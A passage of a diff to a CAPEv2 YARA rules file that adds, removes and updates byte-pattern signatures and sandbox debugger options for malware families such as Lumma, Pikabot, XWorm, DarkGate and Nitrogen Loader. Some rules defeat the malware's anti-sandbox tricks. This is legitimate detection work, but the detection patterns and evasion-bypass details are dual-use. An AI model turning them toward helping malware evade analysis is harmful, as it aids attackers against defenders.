"https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Lumma.yar#L16-L27" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "51093379fbd041f75bdfe161bc9dfcc7d782c23ce16d625ca558bb58d8d57713" score = 75 quality = 70 tags = "" - cape_options = "break-on-return=CreateProcessA,action0=sleep:1000,count=0" - packed = "f6eeb73ffb3e6d6cc48f74344cb590614db7e3116ba00a52aefd7dff468a60a5" + cape_options = "ntdll-remap=0" + packed = "7972cbf2c143cea3f90f4d8a9ed3d39ac13980adfdcf8ff766b574e2bbcef1b4" strings: - $code = {0F B6 44 07 08 0F B6 54 1F 08 03 C2 25 FF 00 00 80 79 07 48 0D 00 FF FF FF 40 89 45 ?? 6A 00} + $remap = {C6 44 24 20 00 C7 44 24 1C C2 00 00 90 C7 44 24 18 00 00 FF D2 C7 44 24 14 00 BA 00 00 C7 44 24 10 B8 00 00 00 8B ?? 89 44 24 11} condition: any of them } -rule CAPE_Anticuckoo : FILE -{ - meta: - description = "AntiCuckoo bypass: https://github.com/therealdreg/anticuckoo" - author = "kevoreilly" - id = "e221e57b-313e-5998-a3fc-5b4e9671b989" - date = "2023-03-17" - modified = "2023-03-17" - reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/AntiCuckoo.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "ad5e52f144bb4a1dae3090978c6ecb4c7732538c9b62a6cedd32eccee6094be5" - logic_hash = "a039aeca2dae44980e8bffafacfda90975e107001be50f11ac916b35ad43592e" - score = 75 - quality = 70 - tags = "FILE" - cape_options = "bp0=$HKActivOldStackCrash+36,action0=jmp,count=1" - - strings: - $HKActivOldStackCrash = {5B 81 FB FA FA FA FA 74 01 41 3B E0 75 ?? 83 E9 0B 83 F9 04 7F 04 C6 45 ?? 00 89 4D ?? 89 65 ?? 80 7D ?? 00 74} - - condition: - uint16( 0 ) == 0x5A4D and all of them -} rule CAPE_Rhadamanthys { meta: @@ -62174,8 +61728,8 @@ rule CAPE_Rhadamanthys date = "2023-01-25" modified = "2025-11-11" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Rhadamanthys.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Rhadamanthys.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" logic_hash = "3c8fbfe14f81e099fc900023d9c856e3f45b99af38889ed952b2ac67a636f51d" score = 75 quality = 70 @@ -62200,8 +61754,8 @@ rule CAPE_Rhadaanti date = "2023-01-25" modified = "2025-11-11" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Rhadamanthys.yar#L15-L24" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Rhadamanthys.yar#L15-L24" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" logic_hash = "b54fd25e3297d358f2a8ec3a868bb4d233ee32d6942f21a53c3d25d35164530b" score = 75 quality = 70 @@ -62223,8 +61777,8 @@ rule CAPE_Rhadunhook date = "2023-01-25" modified = "2025-11-11" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Rhadamanthys.yar#L26-L36" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Rhadamanthys.yar#L26-L36" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" logic_hash = "f2da2f1ee6b0a3b9fe58b2c35ccf0a0f6dee44228ec92659370d30defdef7ea3" score = 75 quality = 70 @@ -62239,254 +61793,336 @@ rule CAPE_Rhadunhook condition: any of them } -rule CAPE_Pikahook : FILE +rule CAPE_Singlestepantihook { meta: - description = "Pikabot anti-hook bypass" + description = "Single-step anti-hook Bypass" author = "kevoreilly" - id = "e1b7a807-135f-52d7-bc36-c0419e82b424" - date = "2024-03-07" - modified = "2024-03-12" + id = "f7aca40b-d231-543b-81f3-5f4524abab78" + date = "2021-08-26" + modified = "2021-08-26" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Pikabot.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "2a50a5f2d905122a5b7ac8ca3666b47caa24d325e246841129e53807daf2a1dd" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/SingleStepAntiHook.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "fc9f36b0ecc13192fe8b6caaff256ac52c1f14480223d629a38ba84e90dd0809" score = 75 quality = 70 - tags = "FILE" - cape_options = "clear,sysbp=$indirect+40,sysbpmode=1,force-sleepskip=1" - packed = "89dc50024836f9ad406504a3b7445d284e97ec5dafdd8f2741f496cac84ccda9" + tags = "" + cape_options = "bp0=$antihook+6,action0=skip,count=0" strings: - $indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1 [4] FF 15} - $sysenter1 = {89 44 24 08 8D 85 20 FC FF FF C7 44 24 04 FF FF 1F 00 89 04 24 E8} - $sysenter2 = {C7 44 24 0C 00 00 00 02 C7 44 24 08 00 00 00 02 8B 45 0C 89 44 24 04 8B 45 08 89 04 24 E8} + $antihook = {FF D? 83 EC 08 9C 81 0C 24 00 01 00 00 9D} condition: - uint16( 0 ) == 0x5A4D and 2 of them + any of them } -rule CAPE_Pikexport : FILE +rule CAPE_Buerloader : FILE { meta: - description = "Pikabot export selection" + description = "BuerLoader RDTSC Trap Bypass" author = "kevoreilly" - id = "7d2432f2-90ae-5ad0-b579-5789a1c14a08" - date = "2024-03-07" - modified = "2024-03-12" + id = "38f01199-6bd2-5519-b570-8c0f46e74286" + date = "2021-03-13" + modified = "2021-03-13" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Pikabot.yar#L16-L28" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "238dcc5611ed9066b63d2d0109c9b623f54f8d7b61d5f9de59694cfc60a4e646" - logic_hash = "33f58703a0e40c2361343dbdcc17111aafbf5cc912393edda79005c6ec566f42" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/BuerLoader.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "6f9f9b4c01251c0643c61701084cca2bdfeea08ca95f982355565cf05483d940" score = 75 quality = 70 tags = "FILE" - cape_options = "export=$export" + cape_options = "bp0=$trap+43,action0=skip,count=0" strings: - $export = {55 8B EC 83 EC ?? C6 45 [2] C6 45 [2] C6 45 [2] C6 45 [2] C6 45} - $pe = {B8 08 00 00 00 6B C8 00 8B 55 ?? 8B 45 ?? 03 44 0A 78 89 45 ?? 8B 4D ?? 8B 51 18 89 55 E8 C7 45 F8 00 00 00 00} + $trap = {0F 31 89 45 ?? 6A 00 8D 45 ?? 8B CB 50 E8 [4] 0F 31} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Risepro : FILE +rule CAPE_Doomedloader : FILE { meta: description = "No description has been set in the source file - CAPE" author = "kevoreilly" - id = "63d9cb19-0688-5632-8477-ce9b7e986a55" - date = "2023-12-16" - modified = "2023-12-16" + id = "88436e71-360e-5719-989f-24e71591ebe0" + date = "2024-04-12" + modified = "2024-07-25" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/RisePro.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "1b69a1dd5961241b926605f0a015fa17149c3b2759fb077a30a22d4ddcc273f6" - logic_hash = "055ca8328923b91f93c116e4a856366356fa11155f4e9fde95da31129b51386a" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/DoomedLoader.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "54a5962ef49ebf987908c4ea1559788f7c96a7e4ea61d2973636e998a0239c77" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$c2+15,action0=string:edx,bp1=$c2+41,action1=string:ecx,count=1" + cape_options = "clear,bp0=$anti*-4,action0=setzeroflag,sysbp=$syscall+7,count=0,procdump=2" + packed = "914b1b3180e7ec1980d0bafe6fa36daade752bb26aec572399d2f59436eaa635" strings: - $decode1 = {8A 06 46 84 C0 75 F9 2B F1 B8 FF FF FF 7F 8B 4D ?? 8B 51 ?? 2B C2 3B C6 72 38 83 79 ?? 10 72 02 8B 09 52 51 56 53 51 FF 75 ?? 8B CF E8} - $decode2 = {8B D9 81 FF FF FF FF 7F 0F [2] 00 00 00 C7 43 ?? 0F 00 00 00 83 FF 10 73 1A 57 FF 75 ?? 89 7B ?? 53 E8 [4] 83 C4 0C C6 04 1F 00 5F 5B 5D C2 08 00} - $c2 = {FF 75 30 83 3D [4] 10 BA [4] B9 [4] 0F 43 15 [4] 83 3D [4] 10 0F 43 0D [4] E8 [4] A3} + $anti = {48 8B 4C 24 ?? E8 [4] 84 C0 B8 [4] 41 0F 45 C6 EB} + $syscall = {49 89 CA 8B 44 24 08 FF 64 24 10} condition: - uint16( 0 ) == 0x5A4D and any of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Lumma : FILE +rule CAPE_Mysterysnail { meta: - description = "Lumma config extraction" + description = "MysterySnail anti-sandbox bypass" author = "kevoreilly" - id = "b2166620-3070-5727-b189-e6959cc5b698" - date = "2024-01-05" - modified = "2024-05-09" + id = "dfeb820a-3101-5588-8348-3b62a6900538" + date = "2021-10-16" + modified = "2021-10-16" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Lumma.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "a8f9212b619796f91f14c4164e4d2f30c66b51118f22f3d6c310841b6707b7b0" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/MysterySnail.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "9402dbbbfdd286e2309ee83fc08194f70f73657a3a4e3785dfbcb564dbee86a8" + score = 75 + quality = 70 + tags = "" + cape_options = "bp0=$anti+62,action0=skip,count=0" + + strings: + $anti = {F2 0F 10 [3] 66 0F 2F 05 [4] 76 0A 8B [3] FF C0 89 [3] B9 5B 05 00 00 FF 15 [4] E8 [4] 89 [3] 8B [3] 8B [3] 2B C8 8B C1 3B [3] 7E 16} + + condition: + any of them +} +rule CAPE_Darkgateloader +{ + meta: + description = "DarkGate Loader" + author = "enzok" + id = "feb90ae6-ec01-59da-a3df-217df2133588" + date = "2023-08-09" + modified = "2025-04-07" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/DarkGateLoader.yar#L1-L15" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "00692123615d2f7eaf8aea07754fc9439cf58e1fb8eb4f44f0428b362f27e794" + score = 75 + quality = 70 + tags = "" + cape_options = "bp0=$decrypt1+30,bp0=$decrypt2+29,action0=dump:eax::ebx,bp1=$decrypt3+80,action1=dumpsize:eax,bp2=$decrypt3+124,hc2=1,action2=dump:eax,count=0" + packed = "b15e4b4fcd9f0d23d902d91af9cc4e01417c426e55f6e0b4ad7256f72ac0231a" + + strings: + $loader = "loader" + $decrypt1 = {B? 01 00 00 00 8B [3] E8 [4] 8B D7 32 54 [4] 88 54 18 FF 4? 4? 75} + $decrypt2 = {B? 01 00 00 00 8B [2] E8 [4] 8B D7 2B D3 [4] 88 54 18 FF 4? 4? 75} + $decrypt3 = {89 85 [4] 8B 85 [4] 8B F0 8D BD [4] B? 10 [3] F3 A5 8B 85 [4] 33 D2 [2] 8B 85 [4] 99} + + condition: + $loader and any of ( $decrypt* ) +} +rule CAPE_Latrodectus : FILE +{ + meta: + description = "Latrodectus export selection" + author = "kevoreilly" + id = "7c6f167a-6b76-5509-b164-306d1cd19b0f" + date = "2024-02-26" + modified = "2024-02-26" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Latrodectus.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "378d220bc863a527c2bca204daba36f10358e058df49ef088f8b1045604d9d05" + logic_hash = "c2c9f23e287253d766425c05eb774f6e07bdcbabc259e04b723a1a87c8b91fbd" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$decode+5,action0=string:ebp,count=0,bp1=$patch+8,action1=skip,typestring=Lumma Config" - packed = "0ee580f0127b821f4f1e7c032cf76475df9724a9fade2e153a69849f652045f8" + cape_options = "export=$export" strings: - $c2 = {8D 44 24 ?? 50 89 4C 24 ?? FF 31 E8 [4] 83 C4 08 B8 FF FF FF FF} - $decode = {C6 44 05 00 00 83 C4 2C 5E 5F 5B 5D C3} - $patch = {66 C7 0? 00 00 8B 46 1? C6 00 01 8B} + $export = {48 8B C4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 56 48 83 EC 30 4C 8B 05 [4] 33 D2 C7 40 [5] 88 50 ?? 49 63 40 3C 42 8B 8C 00 88 00 00 00 85 C9 0F 84} condition: - uint16( 0 ) == 0x5a4d and 2 of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Lummaremap +rule CAPE_Xworm { meta: - description = "Lumma ntdll-remap bypass" + description = "XWorm Config Extractor" author = "kevoreilly" - id = "93ae37d1-a38a-5f96-8bb3-cc648a49b588" - date = "2024-01-05" - modified = "2024-05-09" + id = "0f55dbfb-c239-53f2-a1e0-bfa494558d6e" + date = "2023-11-07" + modified = "2023-11-07" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Lumma.yar#L16-L27" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "51093379fbd041f75bdfe161bc9dfcc7d782c23ce16d625ca558bb58d8d57713" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/XWorm.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "d8e103f3470e83d71cd4992b74698c0721b8a69d764fdb7a4543997b2853014a" score = 75 quality = 70 tags = "" - cape_options = "ntdll-remap=0" - packed = "7972cbf2c143cea3f90f4d8a9ed3d39ac13980adfdcf8ff766b574e2bbcef1b4" + cape_options = "bp0=$decrypt+11,action0=string:r10,count=1,typestring=XWorm Config" strings: - $remap = {C6 44 24 20 00 C7 44 24 1C C2 00 00 90 C7 44 24 18 00 00 FF D2 C7 44 24 14 00 BA 00 00 C7 44 24 10 B8 00 00 00 8B ?? 89 44 24 11} + $decrypt = {45 33 C0 39 09 FF 15 [4] 48 8B F0 E8 [4] 48 8B C8 48 8B D6 48 8B 00 48 8B 40 68 FF 50 ?? 90} condition: any of them } -rule CAPE_Rdtscpantivm +rule CAPE_Blister : FILE { meta: - description = "RdtscpAntiVM bypass" + description = "Blister Sleep Bypass" author = "kevoreilly" - id = "11dc634b-1e2f-55b4-be60-98e51de42d43" - date = "2021-12-11" - modified = "2021-12-11" + id = "34657bab-f100-5ea8-9111-da2806f46b79" + date = "2022-05-10" + modified = "2024-05-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/RdtscpAntiVM.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "be0f9b52fb630730a38160f4ad2d50b6b4bea5edd82e3ea4d1e257cf7b090910" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Blister.yar#L1-L17" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "aba379b93c85241cf250829832b2c8a5eaafb3abd0ff955dbaf0d06489c00deb" score = 75 quality = 70 - tags = "" - cape_options = "nop-rdtscp=1" + tags = "FILE" + cape_options = "bp0=$sleep1+6,bp1=$sleep2+7,action0=setsignflag,action1=clearcarryflag,count=3" + packed = "0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00" + packed = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2" strings: - $antivm = {46 0F 01 F9 [0-4] 66 0F 6E C6 F3 0F E6 C0 66 0F 2F ?? 73} + $sleep1 = {FF FF 83 7D F0 00 (E9|0F 8?)} + $sleep2 = {81 7D D8 90 B2 08 00 (E9|0F 8?)} + $protect = {50 6A 20 8D 45 ?? 50 8D 45 ?? 50 6A FF FF D7} + $lock = {56 33 F6 B9 FF FF FF 7F 89 75 FC 8B C1 F0 FF 45 FC 83 E8 01 75 F7} + $comp = {6A 04 59 A1 [4] 8B 78 04 8B 75 08 33 C0 F3 A7 75 0B 8B 45 0C 83 20 00 33 C0 40 EB 02 33 C0} condition: - any of them + uint16( 0 ) == 0x5A4D and 2 of ( $protect , $lock , $comp ) and all of ( $sleep* ) } -rule CAPE_Privateloader +rule CAPE_Dridexloader : FILE { meta: - description = "PrivateLoader indirect syscall capture" + description = "DridexLoader API Spam Bypass" author = "kevoreilly" - id = "3a0b16da-ec84-5761-bcf2-106362c5667d" - date = "2024-10-04" - modified = "2024-10-04" + id = "a8b62f64-87a0-58d3-8876-9b0f6a7deb97" + date = "2021-03-09" + modified = "2021-03-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/PrivateLoader.yar#L1-L12" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "204a86bb3743f19fed0fe55ff5ccd716661f7f315b5966a29e434ccb3e160526" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/DridexLoader.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "00a3e4e80a2558ee52035f091e2339fa2dad6f6515b9dc099f2f3800e4c70bce" + score = 75 + quality = 70 + tags = "FILE" + cape_options = "bp0=$trap-13,action0=ret,count=0" + + strings: + $trap = {6A 50 6A 14 6A 03 5A 8D 4C 24 ?? E8 [4] 68 [4] 68 [4] E8 [4] 85 C0 74 05} + + condition: + uint16( 0 ) == 0x5A4D and $trap +} +rule CAPE_Loadersyscall +{ + meta: + description = "Loader Syscall" + author = "enzok" + id = "45193b38-938e-55cf-9ea0-7bd48f0d77e4" + date = "2024-10-29" + modified = "2025-07-23" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/NitrogenLoader.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "3c7ffd8b95032cffecff7fa7e5f5f561cce13e1109f6a9b30bc743642b495e45" score = 75 quality = 70 tags = "" - cape_options = "clear,sysbp=$syscall*-2" - packed = "075d0dafd7b794fbabaf53d38895cfd7cffed4a3fe093b0fc7853f3b3ce642a4" + cape_options = "sysbp=$syscall*-2,count=0" strings: - $syscall = {48 31 C0 4C 8B 19 8B 41 10 48 8B 49 08 49 89 CA 41 FF E3} + $makehashes = {48 89 4C 24 ?? 48 89 54 24 ?? 4? 89 44 24 ?? 4? 89 4C 24 ?? 4? 83 EC ?? B? [4] E8 [3] 00} + $number = {49 89 C3 B? [4] E8 [3] 00} + $syscall = {48 83 C4 ?? 4? 8B 4C 24 ?? 4? 8B 54 24 ?? 4? 8B 44 24 ?? 4? 8B 4C 24 ?? 4? 89 CA 4? FF E3} condition: - any of them + all of them } -rule CAPE_Hijackloaderstub +rule CAPE_Nitrogenloaderaes { meta: - description = "HijackLoader Stub Executable" - author = "kevoreilly" - id = "53363a3a-7f2a-52a6-8c0a-5f03fd121f70" - date = "2026-01-26" - modified = "2026-01-26" + description = "NitrogenLoader AES and IV" + author = "enzok" + id = "c79a00af-52f9-5f07-9c58-e8964e70986f" + date = "2024-10-29" + modified = "2025-07-23" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/HijackLoader.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "686a19a416b94f6ccdd1891ff027452c84b2171ee4268ff971f490e18948a6f5" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/NitrogenLoader.yar#L15-L27" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "de8ed0e98948cfadfd579e334fd9ce9f777ddbd988de897529ba71cb5eb2d396" score = 75 quality = 70 tags = "" - cape_options = "dump-limit=0,dump" + cape_options = "bp0=$keyiv0+8,action0=dump:ecx::64,hc0=1,bp1=$keyiv0*-4,action1=dump:ecx::32,hc1=1,count=0" strings: - $stub1 = {50 83 C0 10 50 56 8D 85 [4] 50 E8 [4] 83 C7 30 8D 85 [4] 3B F8 74 08 8B 35 [4] EB D3} - $stub2 = {33 C5 89 45 ?? (C6 45 ?? 00|C7 45 ?? 61 7A 2D 2D) 8D 45 ?? FF 75 ?? C7 45 ?? 30 39 41 5A 50 8D 45 (??|?? C7 45 ?? 61 7A 2D 2D) 50 E8} - $app = "\\app-" wide + $keyiv0 = {48 8B 8C 24 [4] E8 [3] 00 4? 89 84 24 [4] 4? 8B 84 24 [4] 4? 89 84 24 [4] 4? 8B 8C 24 [4] E8 [3] 00} + $keyiv1 = {48 89 84 24 [4] 4? 8B 84 24 [4] 4? 8B 94 24 [4] 4? 8D 8C 24 [4] E8 [3] FF} + $keyiv2 = {48 63 84 24 [4] 4? 8B C0 4? 8B 94 24 [4] 4? 8D 8C 24 [4] E8 [3] FF 4? 8B 84 24} condition: - 2 of them + all of them } -rule CAPE_Singlestepantihook +rule CAPE_Nitrogenloaderbypass { meta: - description = "Single-step anti-hook Bypass" - author = "kevoreilly" - id = "f7aca40b-d231-543b-81f3-5f4524abab78" - date = "2021-08-26" - modified = "2021-08-26" + description = "Nitrogen Loader Exit Bypass" + author = "enzok" + id = "397b0b79-d569-5a71-bcac-ce0d64f706e6" + date = "2024-10-29" + modified = "2025-07-23" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/SingleStepAntiHook.yar#L1-L11" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "fc9f36b0ecc13192fe8b6caaff256ac52c1f14480223d629a38ba84e90dd0809" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/NitrogenLoader.yar#L29-L41" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "3a034d3ddd18723ea1f91814c8c2a2c47a749dfd1496a5d4777d8ff8bfab3457" score = 75 quality = 70 tags = "" - cape_options = "bp0=$antihook+6,action0=skip,count=0" + cape_options = "bp2=$exit-2,action2=jmp,count=0" strings: - $antihook = {FF D? 83 EC 08 9C 81 0C 24 00 01 00 00 9D} + $string1 = "LoadResource" + $syscall = {48 83 C4 ?? 4? 8B 4C 24 ?? 4? 8B 54 24 ?? 4? 8B 44 24 ?? 4? 8B 4C 24 ?? 4? 89 CA 4? FF E3} + $exit = {33 C9 E8 [4] E8 [4] 48 8D 84 24 [4] 48 89 44 24 ?? 4? B? E4 00 00 00 4? 8B 05 [4] B? 03 00 00 00 48 8D} condition: - any of them + all of them } -rule CAPE_Darkgateloader +rule CAPE_Nitrogenloaderconfig { meta: - description = "DarkGate Loader" + description = "NitrogenLoader Config Extraction" author = "enzok" - id = "feb90ae6-ec01-59da-a3df-217df2133588" - date = "2023-08-09" - modified = "2025-04-07" + id = "0c8d0655-0592-52b5-b51d-3acdb15a4864" + date = "2024-10-29" + modified = "2025-07-23" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/DarkGateLoader.yar#L1-L15" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "00692123615d2f7eaf8aea07754fc9439cf58e1fb8eb4f44f0428b362f27e794" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/NitrogenLoader.yar#L43-L66" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "06d49ebf3f67476c83a77734dff0245a51027a35d92e5af07bb9146db5b156ca" score = 75 quality = 70 tags = "" - cape_options = "bp0=$decrypt1+30,bp0=$decrypt2+29,action0=dump:eax::ebx,bp1=$decrypt3+80,action1=dumpsize:eax,bp2=$decrypt3+124,hc2=1,action2=dump:eax,count=0" - packed = "b15e4b4fcd9f0d23d902d91af9cc4e01417c426e55f6e0b4ad7256f72ac0231a" + cape_options = "bp0=$decrypt1*+1,bp1=$key*,hc0=1,count=0,action0=string:rcx,action1=string:rdx,typestring=NitrogenLoader Config" strings: - $loader = "loader" - $decrypt1 = {B? 01 00 00 00 8B [3] E8 [4] 8B D7 32 54 [4] 88 54 18 FF 4? 4? 75} - $decrypt2 = {B? 01 00 00 00 8B [2] E8 [4] 8B D7 2B D3 [4] 88 54 18 FF 4? 4? 75} - $decrypt3 = {89 85 [4] 8B 85 [4] 8B F0 8D BD [4] B? 10 [3] F3 A5 8B 85 [4] 33 D2 [2] 8B 85 [4] 99} + $decrypt1 = {48 63 4? 24 ?? 33 D2 48 [0-3] F7 B4 24 [4] 48 8B C2 48 8B 8C 24 [4] 0F BE 04 01} + $decrypt2 